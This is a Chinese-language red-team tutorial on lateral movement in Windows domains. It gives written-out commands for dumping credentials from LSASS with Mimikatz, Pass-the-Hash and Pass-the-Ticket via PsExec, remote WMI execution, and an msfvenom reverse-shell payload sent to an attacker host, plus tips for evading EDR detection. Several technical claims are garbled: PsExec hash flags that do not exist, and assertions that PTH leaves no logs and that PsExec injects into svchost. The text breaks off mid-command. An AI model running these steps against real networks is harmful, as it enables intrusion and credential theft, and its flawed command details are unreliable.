横向移动(Lateral Movement) 是指攻击者在成功入侵一台主机后,利用该主机作为跳板,在目标网络内部进一步扩展权限、访问其他系统或服务的过程。这是红队从"单点突破"迈向"全网控制"的核心环节,也是整个攻击链条中最具挑战性和隐蔽性的阶段之一。
T1021 - Lateral Movement 攻击者使用各种技术在目标网络中移动,以访问更多资源、提升权限或达成最终目标(如数据窃取)。常见子技术包括:
此条目明确指出:横向移动不是孤立事件,而是一个持续过程 ,其成功与否直接决定红队能否完成内网纵深渗透。
| 攻击阶段 | 目标 | 横向移动的作用 |
|---|---|---|
| 侦察 (Reconnaissance) | 获取IP段、开放端口、用户信息 | 提供后续可利用的目标列表 |
| 突破 (Initial Access) | 获取第一台主机shell | 成为横向跳板的基础 |
| 持久化 (Persistence) | 维持长期访问权 | 增加攻击面,便于反复尝试横向移动 |
| 横向移动 (Lateral Movement) | 扩展权限范围 | 实现从低权限到高权限跨越的关键一步 |
| 数据窃取 (Exfiltration) | 获取敏感数据 | 必须建立在对目标系统的全面控制之上 |
结论 :没有有效的横向移动,红队只能停留在"单机沦陷",无法形成真正的内网攻防对抗能力。
假设已获得某域用户的NTLM哈希(例如通过Mimikatz抓取),即可无需明文密码直接登录其他机器:
# 使用PsExec传递NTLM哈希(需安装psexec工具)
psexec.exe \\192.168.1.100 -u CYBER\user -p "" -hashes :bf056feb4349eff2d9761e322d6178dd cmd.exe
-hashes 参数表示提供的是NTLM哈希值(格式::NTLM_HASH)-u 和 -p 分别指定用户名和密码(此处为空,因为用哈希替代)\\192.168.1.100 是目标主机IP优势 :快速、隐蔽性强(无日志记录或较少痕迹),适合初期跳转。
WMI(Windows Management Instrumentation)是Windows原生管理接口,广泛用于系统监控与远程脚本执行:
# PowerShell调用WMI远程执行命令(需目标开启WMI服务)
Invoke-WmiMethod -ComputerName "192.168.1.100" -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\output.txt"
这两种方式均体现了横向移动的核心思想:复用现有权限,避免重复攻击入口 。
红队在制定横向移动策略时,必须综合考虑以下因素:
| 类型 | 描述 | 风险等级 | 适用场景 | 工具/方法 |
|---|---|---|---|---|
| 主动探测型 | 扫描开放端口 → 尝试弱口令爆破 → 登录目标 | (高) | 初始阶段缺乏凭证 | Hydra、CrackMapExec、Nmap扫描+暴力破解 |
| 被动利用型 | 利用已知凭证(如本地管理员密码、哈希、票据)直接跳转 | (低) | 已有凭据或可通过提权获得 | Mimikatz、PsExec、WMI、Plink |
mimikatz.exe sekurlsa::pth /user:admin /domain:corp.local /ntlm:... 生成新的会话关键洞察 :Pass-the-Hash攻击本质上绕过了身份验证层,仅依赖哈希值,适用于所有基于NTLM的身份验证场景(包括RDP、SMB、WMI等)
| 环境类型 | 推荐策略 | 原因 | 示例 |
|---|---|---|---|
| 低权限环境(普通用户) | 优先使用漏洞利用(如MS17-010永恒之蓝) | 权限低,难以暴力破解 | Metasploit模块 exploit/windows/smb/ms17_010_eternalblue |
| 高权限环境(域用户) | 使用凭据重用(Pass-the-Hash)或GPO部署 | 权限足够,无需暴露攻击特征 | Mimikatz + PsExec 或 WMI远程执行 |
| 禁用RDP/SSH的隔离环境 | 使用IPC$连接+文件共享权限枚举 | 不依赖远程桌面协议 | net use \\target\ipc$ "password" /user:"username" |
| 存在EDR/Anti-Virus防护 | 使用免杀技巧(如内存注入、DLL劫持) | 规避行为检测 | Mimikatz免杀版本、PowerShell加载器(如Reflective DLL Injection) |
# 使用CrackMapExec快速扫描域内主机及开放端口
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password'
总结 :红队应始终以"最小代价最大收益"为目标,在不同环境下灵活切换策略—— 若有凭据 → 用Pass-the-Hash; 若无凭据但有漏洞 → 用Exploit; 若想隐藏踪迹 → 用WMI或GPO方式; 若需自动化传播 → 用计划任务或注册表启动项!
最佳实践:先做横向移动路径规划(如使用BloodHound绘制拓扑图),再按优先级逐个突破,避免盲目扫描造成防御警报触发。
Pass-the-Hash (PTH) :攻击者在不获取明文密码的情况下,直接使用从目标主机或内存中提取的 NTLM Hash(如 bf056feb4349eff2d9761e322d6178dd),通过 Windows 的身份验证机制实现对远程系统的访问。
Pass-the-Ticket (PTT) :利用 Kerberos 协议中的 TGT(Ticket Granting Ticket)票据进行认证,绕过密码验证流程,常用于跨域或无交互式登录场景。
️ 这些技术之所以成为红队核心战术,是因为它们能避开传统的"输入密码"逻辑,即使没有明文密码也能完成横向移动,极大提升隐蔽性和成功率。
关键点:
关键点:
# 在已控制的主机上运行 mimikatz.exe(需管理员权限)
mimikatz.exe
# 启用调试权限(必要)
privilege::debug
# 抓取所有用户的明文密码和NTLM hash(包括LSASS内存)
sekurlsa::logonPasswords
# 输出示例:
# Authentication ID : 0 ; 117798
# Account Name : administrator
# Account Domain : CYBER.COM
# NTLM : bf056feb4349eff2d9761e322d6178dd
注意事项:
getsystem 或手动提权)。ConsentPromptBehaviorAdmin=0)。# 下载并解压 psexec.exe(官方工具包)
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools
# 使用 mimikatz 提取的 NTLM Hash 执行命令(无需明文密码)
psexec -accepteula \\192.168.10.2 -u CYBER.COM\administrator -p "" -h "cmd /c whoami"
# 注:-p "" 表示传入空字符串,-h 表示使用 hash 替代密码
# 成功输出:
# nt authority\system
成功说明:你已经以 SYSTEM 权限远程执行了命令,且未输入任何明文密码!
# 1. 先从当前主机导出 TGT(假设你在域内有合法凭证)
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
# 输出格式如下:
# Ticket (TGT) for [email protected]:
# Session Key: XXXX
# Encrypted Data: YYYYYY
# Ticket: ZZZZZZ
# 2. 导出为 .kirbi 文件(供后续导入)
# 假设保存为 ticket.kirbi
# 3. 在另一台机器上导入票据(模拟跨域访问)
mimikatz.exe
kerberos::ptt ticket.kirbi
# 4. 查看当前会话票据状态
kerberos::list
# 5. 直接连接目标主机(无需再次输入密码)
psexec -accepteula \\TARGET-SERVER -u [email protected] -p "" -h "whoami"
应用场景:
corp.local 到 partner.local)。| 方法 | 检测风险 | 规避建议 |
|---|---|---|
| Mimikatz 提取 LSASS | EDR 日志、进程行为异常(如 lsass.exe 异常访问) | 使用 Process Hollowing 或 Inject into svchost.exe(见下节) |
| PTH 登录 | Security Event Log 中记录 4624(成功登录)+ 登录类型 3(网络登录) | 使用 WMI 或 WinRM 替代 PsExec;隐藏原始 IP 地址 |
| PTT 票据注入 | Kerberos 票据异常使用(如非标准时间窗口) | 修改时间同步设置、避免频繁票据更换 |
推荐组合技:
使用 mimikatz 提取 hash → psexec + -h 参数进行 PTH → svchost.exe 注入伪装成合法进程(详见下一小节)
| 工具 | 协议 | 特点 | 检测风险 | 适用系统 |
|---|---|---|---|---|
| PsExec | RPC | 原生 Windows 工具,功能强大 | 高(日志记录 + 明文密码痕迹) | Win7~Win10(需启用 SMB/RPC) |
| WMI | CIM/WSMan | 基于 PowerShell 的远程管理接口 | 中(大量日志事件 4104、4624) | Win7~Win10(需启用 WMI) |
| WinRM | HTTP/HTTPS | HTTPS 加密通道,现代推荐方案 | 低(若配置 SSL) | Win7~Win10(需启用 WinRM) |
MITRE ATT&CK 编号:
# 生成一个反向 Shellcode(连接攻击者IP)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f hex > shellcode.hex
# 或者直接生成 exe(更简单)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f exe > reverse.exe
# 使用 psexec 注入到 svchost.exe(而非新建进程)
psexec -accepteula \\192.168.10.2 -u administrator -h -s -d -i -c "reverse.exe"
# 参数说明:
# -s: 以 SYSTEM 权限运行
# -d: 不等待进程结束
# -i: 交互式(打开桌面)
# -c: 自动上传并执行(无需手动拷贝)
效果:
svchost.exe 子进程中(难以识别为恶意进程)此方法适合用于高权限横向移动(如从普通用户 → SYSTEM)
# 创建一个简单的检测脚本 test.ps1
$command = @"
Write-Host "Remote command executed on $(hostname)"
Get-ChildItem C:\Users\Administrator\Desktop\
"@
# 保存为本地文件(可选)
$command | Out-File -FilePath C:\temp\test.ps1 -Encoding UTF8
# PowerShell WMI 远程调用(需目标允许 WMI)
Invoke-WmiMethod -ComputerName 192.168.10.2 -Class Win32_Process -Name Create -ArgumentList "powershell.exe